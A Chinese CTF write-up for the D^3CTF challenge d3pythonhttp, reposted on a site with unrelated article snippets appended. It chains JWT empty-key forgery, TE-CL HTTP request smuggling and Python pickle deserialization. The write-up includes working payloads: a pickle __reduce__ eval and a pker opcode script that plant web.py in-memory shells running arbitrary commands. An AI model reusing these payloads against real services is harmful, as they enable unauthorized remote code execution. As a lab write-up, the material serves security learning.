【Web】D^3CTF之浅聊d3pythonhttp——TE-CL请求走私

目录

step0 题目信息 

step1 jwt空密钥伪造 

step1.5 有关TE&CL的lab

step2 TE-CL请求走私

payload1

payload2


step0 题目信息 

注意到题目源码前端是flask写的,后端是web.py写的

frontend

from flask import Flask, request, redirect, render_template_string, make_response
import jwt
import json
import http.clientapp = Flask(__name__)login_form = """
<form method="post">Username: <input type="text" name="username"><br>Password: <input type="password" name="password"><br><input type="submit" value="Login">
</form>
"""@app.route('/', methods=['GET'])
def index():token = request.cookies.get('token')if token and verify_token(token):return "Hello " + jwt.decode(token, algorithms=["HS256"], options={"verify_signature": False})["username"]else: return redirect("/login", code=302)@app.route('/login', methods=['GET', 'POST'])
def login():if request.method == "POST":user_info = {"username": request.form["username"], "isadmin": False}key = get_key("frontend_key")token = jwt.encode(user_info, key, algorithm="HS256", headers={"kid": "frontend_key"})resp = make_response(redirect("/", code=302))resp.set_cookie("token", token)return respelse:return render_template_string(login_form)@app.route('/backend', methods=['GET', 'POST'])
def proxy_to_backend():forward_url = "python-backend:8080"conn = http.client.HTTPConnection(forward_url)method = request.methodheaders = {key: value for (key, value) in request.headers if key != "Host"}data = request.datapath = "/"if request.query_string:path += "?" + request.query_string.decode()conn.request(method, path, body=data, headers=headers)response = conn.getresponse()return response.read()@app.route('/admin', methods=['GET', 'POST'])
def admin():token = request.cookies.get('token')if token and verify_token(token):if request.method == 'POST':if jwt.decode(token, algorithms=['HS256'], options={"verify_signature": False})['isadmin']:forward_url = "python-backend:8080"conn = http.client.HTTPConnection(forward_url)method = request.methodheaders = {key: value for (key, value) in request.headers if key != 'Host'}data = request.datapath = "/"if request.query_string:path += "?" + request.query_string.decode()if headers.get("Transfer-Encoding", "").lower() == "chunked":data = "{}\r\n{}\r\n0\r\n\r\n".format(hex(len(data))[2:], data.decode())if "BackdoorPasswordOnlyForAdmin" not in data:return "You are not an admin!"conn.request(method, "/backdoor", body=data, headers=headers)return "Done!"else:return "You are not an admin!"else:if jwt.decode(token, algorithms=['HS256'], options={"verify_signature": False})['isadmin']:return "Welcome admin!"else:return "You are not an admin!"else: return redirect("/login", code=302)def get_key(kid):key = ""dir = "/app/"try:with open(dir+kid, "r") as f:key = f.read()except:passprint(key)return keydef verify_token(token):header = jwt.get_unverified_header(token)kid = header["kid"]key = get_key(kid)try:payload = jwt.decode(token, key, algorithms=["HS256"])return Trueexcept:return Falseif __name__ == "__main__":app.run(host = "0.0.0.0", port = 8081, debug=False)

backend

import web
import pickle
import base64urls = ('/', 'index','/backdoor', 'backdoor'
)
web.config.debug = False
app = web.application(urls, globals())class index:def GET(self):return "welcome to the backend!"class backdoor:def POST(self):data = web.data()# fix this backdoorif b"BackdoorPasswordOnlyForAdmin" in data:return "You are an admin!"else:data  = base64.b64decode(data)pickle.loads(data)return "Done!"if __name__ == "__main__":app.run()

step1 jwt空密钥伪造 

jwt解密的过程是去jwttoken的header中取kid字段,然后对其拼接/app/得到文件路径,但我们不知道secretkey在哪个文件中,这里只要指定一个不存在的文件名就可以用空密钥去解密

且后续也不会去验证签名的合法性 

 

指定一个加密的空密钥,再把取解密密钥的路径置空 

 

带着token去访问./admin,发现成功伪造

 拿到admin之后我们就可以去请求后端 /backdoor 接口

要访问 /backdoor 接口,请求体要有 BackdoorPasswordOnlyForAdmin ,但后端想要执行pickle反序列化又不能有这段字符串,二者显然矛盾

 

 

step1.5 有关TE&CL的lab

我们可以实验下,请求头中有Transfer-Encoding时服务器接收的数据是怎样的

from flask import Flask, requestapp = Flask(__name__)@app.route('/admin', methods=['GET', 'POST'])
def admin():if request.method == 'POST':data1 = request.dataprint("这是前端接收到的数据")print(data1)data2 = "{}\r\n{}\r\n0\r\n\r\n".format(hex(len(data1))[2:], data1.decode())print("这是前端向后端发的数据")print(data2)if __name__ == "__main__":app.run(host = "0.0.0.0", port = 8081, debug=False)

bp发包的时候记得把repeater的Update content length关掉

(从上图bp发包可以看到,当Transfer-Encoding和Content-Length共存的时候,flask会优先按TE去解析,哪怕CL长度为1也不影响)

 

本地起的服务成功打印出接收的data,就是将我们传的分块数据进行了一个拼接 

向后端传的data,b8=9c+1c,就是进行了一个TE的格式化处理

至于后端接收的原始数据(暂时忽略Content-Length),显然就是

gANjYnVpbHRpbnMKZXZhbApxAFhUAAAAYXBwLmFkZF9wcm9jZXNzb3IoKGxhbWJkYSBzZWxmIDogX19pbXBvcnRfXygnb3MnKS5wb3BlbignY2F0IC9TZWNyM1RfRmxhZycpLnJlYWQoKSkpcQGFcQJScQMuBackdoorPasswordOnlyForAdmin

不作赘述

step2 TE-CL请求走私

于是就来到了本题的重头戏:浅谈HTTP请求走私

 考虑前后端对HTTP报文的解析差异

 后端web.py的web.data()对传入data有这样一段处理

就是说Transfer-Encoding 不为 chunked 就会走CL解析,这里可以用大写绕过chunked

前端flask对请求头的Transfer-Encoding判断时有一个小写的处理,这说明flask底层处理http报文不会将其转小写(否则就是多此一举),因而传往后端的headers中Transfer-Encoding仍然是大写的,这也就支持了上述绕过。

走过判断后,又对data手动进行了一个分块传输的格式处理

 

 

伪造一个恶意CL长度,就可以实现将特定的某一段字符传入后端(BackdoorPasswordOnlyForAdmin之前字符的长度。后端不会接收到,但是前端可以),这样一来就绕过了对于BackdoorPasswordOnlyForAdmin的检测,进行pickle反序列化,靶机不出网,可以结合web.py的add_processor方法注内存马(就是在访问路由后执行lambda表达式命令)

payload1

import pickle
import base64class A(object):def __reduce__(self):return (eval, ("app.add_processor((lambda self : __import__('os').popen('cat /Secr3T_Flag').read()))",))a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))

Content-Length就是base64编码的长度

打入后直接访问/backend路由即可命令执行 

payload2

用pker生成opcode再转base64

GitHub - EddieIvan01/pker: Automatically converts Python source code to Pickle opcode

 exp.py

getattr = GLOBAL('builtins', 'getattr')
dict = GLOBAL('builtins', 'dict')
dict_get = getattr(dict, 'get')
globals = GLOBAL('builtins', 'globals')
builtins = globals()
a = dict_get(builtins, '__builtins__')
exec = getattr(a, 'exec')
exec('index.GET = lambda self:__import__("os").popen(web.input().cmd).read()')
return

python3 pker.py < exp.py | base64 -w 0

改一下Content-Length 

访问./backend?cmd=cat /Secr3T_Flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/5830.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于Python的人脸识别系统设计与实现(论文+源码)_kaic

基于Python的人脸识别系统设计与实现 摘 要 随着人工智能的发展,人脸识别系统在我们的生活中越来越被广泛应用。人脸识别系统是指能够从数字图像或视频源中识别人的技术。人脸识别系统可以通过多种方法工作&#xff0c;但是&#xff0c;它们通常是通过将给定图像中的面部特征与…

202012青少年软件编程(Python)等级考试试卷(一级)

第 1 题 【单选题】 运行下方代码段&#xff0c;输出是6&#xff0c;则输入的可能是&#xff08; &#xff09;。 a eval(input())print(a)A :8%2 B :8/2 C :3*2 D :3**2 正确答案:C 试题解析: 第 2 题 【单选题】 关于Python变量&#xff0c;下列叙述正确的是&#x…

Spring Cloud——LoadBalancer

Spring Cloud——LoadBalancer 一、负载均衡&#xff08;LoadBalance&#xff09;1.LoadBalancer本地负载均衡客户端 VS Nginx服务端负载均衡区别 二、LoadBalancer1.Spring RestTemplate as a LoadBalancer Client2.编码使用DiscoveryClient动态获取所有上线的服务列表3.从默认…

《自动机理论、语言和计算导论》阅读笔记:p215-p351

《自动机理论、语言和计算导论》学习第 11 天&#xff0c;p215-p351总结&#xff0c;总计 37 页。 一、技术总结 1.constrained problem 2.Fermat’s lats theorem Fermat’s Last Theorem states that no three positive integers a, b and c satisfy the equation a^n b…

过渡与动画

单元素/组件过渡 Vue在插入、更新或者移除 DOM 时&#xff0c;提供多种不同方式的过渡效果&#xff08;一个淡入淡出的效果&#xff09; 在条件渲染&#xff08;使用v-if&#xff09;、条件展示&#xff08;使用v-show&#xff09;、动态组件、组件根节点等情形中&#xff0c;可…

python算法题

需求 代码 class Solution:def searchInsert(self, nums: List[int], target: int) -> int:if max(nums) >target:for i in range(len(nums)-1):if nums[i1] > target and nums[i] <target:return i1if max(nums) <target:return len(nums)if min(nums) > …

操作系统(2)——进程线程

目录 小程一言专栏链接: [link](http://t.csdnimg.cn/8MJA9)基础概念线程详解进程详解进程间通信调度常用调度算法 重要问题哲学家进餐问题问题的描述策略 读者-写者问题问题的描述两种情况策略 总结进程线程一句话 小程一言 本操作系统专栏&#xff0c;是小程在学操作系统的过…

【tcl脚本实践Demo 1】文本生成、匹配、修改、读写

引言 在芯片设计的流程中,各种EDA工具在设计、综合、布局布线、验证、时序分析等等环节都会产出大量的文件信息。这些信息是海量的,如果单纯靠程序员自己查看信息效率很低并且很容易纰漏。所以脚本语言可以很好的解决这个问题,可以利用脚本语言匹配到敏感的信息,完成对信息…

240 基于matlab的飞行轨迹仿真程序

基于matlab的飞行轨迹仿真程序&#xff0c;多种不同的飞行轨迹&#xff0c;输出经度、纬度、高度三维轨迹&#xff0c;三个方向的飞行速度。程序已调通&#xff0c;可直接运行。 240 飞行轨迹仿真 三维轨迹 飞行速度 - 小红书 (xiaohongshu.com)

Golang图片验证码的使用

一、背景 最近在使用到Golang进行原生开发&#xff0c;注册和登录页面都涉及到图片验证码的功能。找了下第三方库的一些实现&#xff0c;发现了这个库用得还是蛮多的。并且支持很多类型的验证方式&#xff0c;例如支持数字类型、字母类型、音频验证码、中文验证码等等。 项目地…

动态规划-回文子串问题

文章目录 1. 回文子串&#xff08;647&#xff09;2. 最长回文子串&#xff08;5&#xff09;3. 分割回文串 IV&#xff08;1745&#xff09;4. 分割回文串 II&#xff08;132&#xff09;5. 最长回文子序列&#xff08;516&#xff09;6. 让字符串成为回文串的最少插入次数&am…

Vue入门篇:样式冲突scoped,data函数,组件通信,prop data单向数据流,打包发布

这里写目录标题 1.组件的样式冲突scoped2.data函数3.组件通信1.两种组件关系分类和对应的组件通信方案2.父子通信方案的核心流程 4.prop & data、单向数据流5.打包发布6.打包优化:路由懒加载 1.组件的样式冲突scoped 默认情况:写在组件中的样式会全局生效→因此很容易造成多…

【Python从入门到进阶】53、Scrapy日志信息及日志级别

接上篇《52、CrawlSpider链接提取器的使用》 上一篇我们学习了基于规则进行跟踪和自动爬取网页数据的“特殊爬虫”CrawlSpider。本篇我们来学习Scrapy的日志信息及日志级别。 一、引言 1、日志在Scrapy中的重要性 在Scrapy框架中&#xff0c;日志扮演着至关重要的角色。日志…

十三、大模型项目部署与交付

1 硬件选型 CUDA 核心和 Tensor 核心 CUDA 核心&#xff1a;是NVIDIA开发的并行计算平台和编程模型&#xff0c;用于GPU上的能用计算&#xff0c;可做很多的工作。应用在游戏、图形渲染、天气预测和电影特效Tensor 核心&#xff1a;张量核心&#xff0c;专门设计用于深度学习…

前端开发框架Vue

版权声明 本文原创作者&#xff1a;谷哥的小弟作者博客地址&#xff1a;http://blog.csdn.net/lfdfhl Vue概述 Vue.js&#xff08;简称Vue&#xff09;是由尤雨溪&#xff08;Evan You&#xff09;创建并维护的一款开源前端开发框架。Vue以其轻量级、易上手和高度灵活的特点&…

IoTDB 入门教程③——基于Linux系统快速安装启动和上手

文章目录 一、前文二、下载三、解压四、上传五、启动六、执行七、停止八、参考 一、前文 IoTDB入门教程——导读 二、下载 下载二进制可运行程序&#xff1a;https://dlcdn.apache.org/iotdb/1.3.1/apache-iotdb-1.3.1-all-bin.zip 历史版本下载&#xff1a;https://archive.…

C——双向链表

一.链表的概念及结构 链表是一种物理存储单元上非连续、非顺序的存储结构&#xff0c;数据元素的逻辑顺序是通过链表中的指针链接次序实现的。什么意思呢&#xff1f;意思就是链表在物理结构上不一定是连续的&#xff0c;但在逻辑结构上一定是连续的。链表是由一个一个的节点连…

24五一杯ABC题完整思路+可执行代码+可视化图表(1)

2024五一赛A题保姆级建模思路20页1-3问可执行代码后续成品论文各类可视化图表&#xff08;完整版资料在文章最后&#xff09; 处理第一问的代码 其余各题的代码如下&#xff1a; A题保姆级建模思路20页&#xff1a;&#xff08;手把手教你如何建模&#xff09; 高清图片如下&am…

第12章 软件测试基础(第一部分)概念、质量保证、测试用例、测试执行过程

一、软件测试 &#xff08;一&#xff09;定义 动态验证计算机程序对有限的测试用例集是否可产生期望的结果的过程。测试计划是描述了要进行的测试活动的范围、方法、资源和进度的文档。编写测试计划目的&#xff1a;使测试工作顺利进行、使项目参与人员沟通更舒畅、使测试工…

面试常见 | 项目上没有亮点,如何包装?

很多技术人在公司用的老技术&#xff0c;而且很多都是搬业务代码且做枯燥乏味的CRUD&#xff0c;在面试提交简历或做自我介绍的时候并不突出&#xff0c;这种情况&#xff0c;如何破局&#xff1f; 首先不管你做的啥项目&#xff0c;全世界不可能只有你自己在做&#xff0c;比…